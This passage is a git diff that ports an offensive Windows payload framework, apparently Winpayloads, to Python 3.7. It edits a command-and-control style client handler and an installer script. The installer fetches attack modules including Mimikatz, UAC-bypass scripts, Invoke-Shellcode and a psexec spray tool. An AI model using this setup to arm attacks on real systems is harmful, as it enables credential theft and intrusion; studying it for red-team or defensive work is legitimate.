server.handlers.keys(): + if clientnumber in list(server.handlers.keys()): server.handlers[clientnumber].out_buffer.append('{"type":"", "data":"", "sendoutput":"false", "multiple":"exec"}') else: for server in serverlist: - if clientnumber in server.handlers.keys(): + if clientnumber in list(server.handlers.keys()): server.handlers[clientnumber].out_buffer.append(json % (b64Exec)) return clientnumber diff --git a/setup.sh b/setup.sh index 78f1043..1015c19 100755 --- a/setup.sh +++ b/setup.sh @@ -1,6 +1,7 @@ #!/bin/bash ######## winpayloadsdir=$(pwd) +os=$(awk -F= '/^ID=/{print $2}' /etc/os-release) export DEBIAN_FRONTEND=noninteractive @@ -18,13 +19,18 @@ done echo -e '\033[1;32m[*] Installing Dependencies \033[0m' -sudo dpkg --add-architecture i386 -sudo apt-get update -sudo apt-get -y install unzip wget python2.7 python-crypto python-pip curl winbind +sudo apt install -y wget curl + + +echo -e '\033[1;32m[*] Installing Python3.7 \033[0m' +sudo apt install -y python3.7 python3-pip echo -e '\033[1;32m[*] Installing Wine \033[0m' -sudo apt-get -y install wine32 -sudo apt-get -y install wine +sudo dpkg --add-architecture i386 +sudo apt update +sudo apt install -y wine32 + + export WINEARCH=win32 export WINEPREFIX=~/.win32 echo -e '\033[1;32m' @@ -32,95 +38,81 @@ wine cmd.exe /c 'wmic os get osarchitecture' echo -e '\033[0m' echo -e '\033[1;32m[*] Installing Python Requirements \033[0m' -sudo pip install blessed -sudo pip install pyasn1 -sudo pip install --force-reinstall prompt-toolkit==1.0.15 -sudo pip install netifaces -sudo pip install requests - -echo -e '\033[1;32m[*] Downloading Python27, Pywin32 and Pycrypto For Wine \033[0m' -if [[ ! -d "~/.win32/drive_c/Python27/" || $reinstall -eq 1 ]]; then - wget https://www.python.org/ftp/python/2.7.10/python-2.7.10.msi - wine msiexec /i python-2.7.10.msi TARGETDIR=C:\Python27 ALLUSERS=1 /q - wget http://www.voidspace.org.uk/downloads/pycrypto26/pycrypto-2.6.win32-py2.7.exe - unzip pycrypto-2.6.win32-py2.7.exe - wget https://download.microsoft.com/download/1/1/1/1116b75a-9ec3-481a-a3c8-1777b5381140/vcredist_x86.exe - wine vcredist_x86.exe /qb! - wget https://sourceforge.net/projects/pywin32/files/pywin32/Build%20220/pywin32-220.win32-py2.7.exe/download - mv download pywin32.exe - unzip pywin32.exe - cp -rf PLATLIB/* ~/.win32/drive_c/Python27/Lib/site-packages/ - cp -rf SCRIPTS/* ~/.win32/drive_c/Python27/Lib/site-packages/ - cp -rf SCRIPTS/* ~/.win32/drive_c/Python27/Scripts/ - wine ~/.win32/drive_c/Python27/python.exe ~/.win32/drive_c/Python27/Scripts/pywin32_postinstall.py -install -silent +python3.7 -m pip install blessed +python3.7 -m pip install pyasn1 +python3.7 -m pip install prompt-toolkit +python3.7 -m pip install netifaces +python3.7 -m pip install requests +python3.7 -m pip install lxml +python3.7 -m pip install cssselect +python3.7 -m pip install impacket + +echo -e '\033[1;32m[*] Unpacking Python3.7 For Wine \033[0m' +if [[ ! -d "$HOME/.win32/drive_c/Python37" || $reinstall -eq 1 ]]; then + cd $winpayloadsdir/install + unzip Python37.zip -d ~/.win32/drive_c/ else echo -e '\033[1;32m[*] Installed Already, Skipping! \033[0m' fi echo -e '\033[1;32m[*] Installing Pyinstaller \033[0m' -if [[ ! -d "/opt/pyinstaller" || $reinstall -eq 1 ]]; then - if [ -d "/opt/pyinstaller/.git" ]; then - rm /opt/pyinstaller -rf - fi - curl -O -L https://github.com/pyinstaller/pyinstaller/releases/download/v3.2.1/PyInstaller-3.2.1.zip - sudo unzip PyInstaller-3.2.1.zip -d /opt - sudo mv /opt/PyInstaller-3.2.1 /opt/pyinstaller - cd /opt/pyinstaller - wine ~/.win32/drive_c/Python27/python.exe setup.py install - cd $winpayloadsdir - -else - echo -e '\033[1;32m[*] Installed Already, Skipping! \033[0m' -fi - - -echo -e '\033[1;32m[*] Installing impacket from Git \033[0m' -if [[ ! -d "/usr/local/lib/python2.7/dist-packages/impacket" || $reinstall -eq 1 ]]; then - git clone https://github.com/CoreSecurity/impacket.git - cd impacket - sudo python2.7 setup.py install +if [[ ! -d "$winpayloadsdir/install/pyinstaller" || $reinstall -eq 1 ]]; then + cd $winpayloadsdir/install + sudo rm -rf pyinstaller + curl -L https://github.com/pyinstaller/pyinstaller/releases/download/v3.4/PyInstaller-3.4.tar.gz -o pyinstaller.tar.gz + sudo tar xvf pyinstaller.tar.gz + mv PyInstaller-3.4 pyinstaller + cd pyinstaller + wine ~/.win32/drive_c/Python37/python.exe setup.py install cd .. + rm pyinstaller.tar.gz else echo -e '\033[1;32m[*] Installed Already, Skipping! \033[0m' fi -echo -e '\033[1;32m[*] Grabbing Wine Modules \033[0m' -wine ~/.win32/drive_c/Python27/Scripts/pip.exe install pefile -wine ~/.win32/drive_c/Python27/Scripts/pip.exe install dis3 + +# echo -e '\033[1;32m[*] Installing impacket from Git \033[0m' +# if [[ ! -d "/usr/local/lib/python3.7/dist-packages/impacket" || $reinstall -eq 1 ]]; then +# cd $winpayloadsdir +# git clone https://github.com/CoreSecurity/impacket.git +# cd impacket +# sudo python3.7 setup.py install +# mv examples/psexec.py ../lib/psexec.py +# cd $winpayloadsdir +# else +# echo -e '\033[1;32m[*] Installed Already, Skipping! \033[0m' +# fi + +echo -e '\033[1;32m[*] Grabbing Wine Python Modules \033[0m' +wine ~/.win32/drive_c/Python37/python.exe -m pip install pycryptodome echo -e '\033[1;32m[*] Done \033[0m' echo -e '\033[1;32m[*] Grabbing Modules \033[0m' -cd lib +cd $winpayloadsdir/lib rm psexecspray.py curl -O https://raw.githubusercontent.com/Charliedean/PsexecSpray/master/psexecspray.py -cd .. echo -e '\033[1;32m[*] Done \033[0m' echo -e '\033[1;32m[*] Grabbing External Modules \033[0m' +cd $winpayloadsdir +rm -rf externalmodules mkdir externalmodules cd externalmodules +mkdir staged curl -O https://raw.githubusercontent.com/Charliedean/InvokeShellcode1803/master/Invoke-Shellcode.ps1 -sed -i -e 's/Invoke-Shellcode/Invoke-Code/g' Invoke-Shellcode.ps1 -sed -i -e '/<#/,/#>/c\\' Invoke-Shellcode.ps1 -sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Shellcode.ps1 curl -O https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1 curl -O https://raw.githubusercontent.com/Charliedean/Invoke-SilentCleanUpBypass/master/Invoke-SilentCleanUpBypass.ps1 curl -O https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1 -curl -O https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 -cd .. +curl -O https://raw.githubusercontent.com/EmpireProject/Empire/dev/data/module_source/credentials/Invoke-Mimikatz.ps1 echo -e '\033[1;32m[*] Done \033[0m' -echo -e '\033[1;32m[*] Grabbing Certs \033[0m' +echo -e '\033[1;32m[*] Generating Certs \033[0m' +cd $winpayloadsdir openssl genrsa -out server.pass.key 2048 openssl rsa -in server.pass.key -out server.key openssl req -new -key server.key -out server.csr -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com" openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt rm server.csr server.pass.key echo -e '\033[1;32m[*] Done \033[0m' - - -echo -e '\033[1;32m[*] Cleaning Up \033[0m' -sudo rm python-2.7.10.msi PyInstaller-3.2.1.zip pycrypto-2.6.win32-py2.7.exe vcredist_x86.exe pywin32.exe PLATLIB SCRIPTS impacket -rf -echo -e '\033[1;32m[*] Done \033[0m'